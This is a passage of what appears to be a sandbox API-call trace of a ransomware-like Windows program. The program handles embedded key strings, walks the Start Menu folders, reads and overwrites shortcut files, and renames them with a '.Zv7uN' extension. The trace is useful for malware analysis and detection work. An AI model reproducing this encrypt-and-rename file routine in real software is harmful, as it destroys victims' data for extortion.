77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.572] GetCurrentThreadId () returned 0xa30 [0133.572] GetCurrentThreadId () returned 0xa30 [0133.573] GetCurrentThreadId () returned 0xa30 [0133.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.573] GetCurrentThreadId () returned 0xa30 [0133.573] GetCurrentThreadId () returned 0xa30 [0133.573] GetCurrentThreadId () returned 0xa30 [0133.574] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\remote assistance.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.574] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.574] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.574] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4bc [0133.574] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.574] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x4bc, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x4bc, lpOverlapped=0x0) returned 1 [0133.583] CloseHandle (hObject=0x1e8) returned 1 [0133.583] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\remote assistance.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.586] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x4bc, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x4bc, lpOverlapped=0x0) returned 1 [0133.590] CloseHandle (hObject=0x1e8) returned 1 [0133.590] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\remote assistance.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\remote assistance.lnk.zv7un")) returned 1 [0133.591] GetCurrentThreadId () returned 0xa30 [0133.591] GetCurrentThreadId () returned 0xa30 [0133.591] GetCurrentThreadId () returned 0xa30 [0133.591] GetCurrentThreadId () returned 0xa30 [0133.592] GetCurrentThreadId () returned 0xa30 [0133.592] GetCurrentThreadId () returned 0xa30 [0133.592] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab46fc5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab46fc5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Remote Assistance.lnk", cAlternateFileName="REMOTE~1.LNK")) returned 0 [0133.592] GetLastError () returned 0x12 [0133.592] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0133.592] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x63d8c9a0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x63d8c9a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0133.592] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0133.592] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.592] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x63d8c9a0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x63d8c9a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0133.592] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.592] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.593] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1030d3, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a1030d3, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x63cf4420, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Backup and Restore Center.lnk.Zv7uN", cAlternateFileName="BACKUP~1.ZV7")) returned 1 [0133.593] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.593] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.593] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a77447, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89a77447, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x63d406e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Create Recovery Disc.lnk.Zv7uN", cAlternateFileName="CREATE~1.ZV7")) returned 1 [0133.593] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.593] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.593] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec13fc0c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec13fc0c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0133.593] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab46fc5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x63d8c9a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Remote Assistance.lnk.Zv7uN", cAlternateFileName="REMOTE~1.ZV7")) returned 1 [0133.593] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.593] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.593] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab46fc5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x63d8c9a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Remote Assistance.lnk.Zv7uN", cAlternateFileName="REMOTE~1.ZV7")) returned 0 [0133.593] GetLastError () returned 0x12 [0133.593] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0133.593] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824ddfa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x824ddfa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x61881340, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Media Center.lnk.Zv7uN", cAlternateFileName="MEDIAC~1.ZV7")) returned 1 [0133.594] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0133.594] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0133.594] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0133.594] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0133.594] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0133.594] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0133.594] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0133.594] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780122b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780122b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb67, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Access 2010.lnk", cAlternateFileName="MICROS~1.LNK")) returned 1 [0133.594] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0133.594] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.594] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft access 2010.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780122b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780122b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb67)) returned 1 [0133.595] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft access 2010.lnk")) returned 0x20 [0133.595] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk", dwFileAttributes=0x80) returned 1 [0133.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXs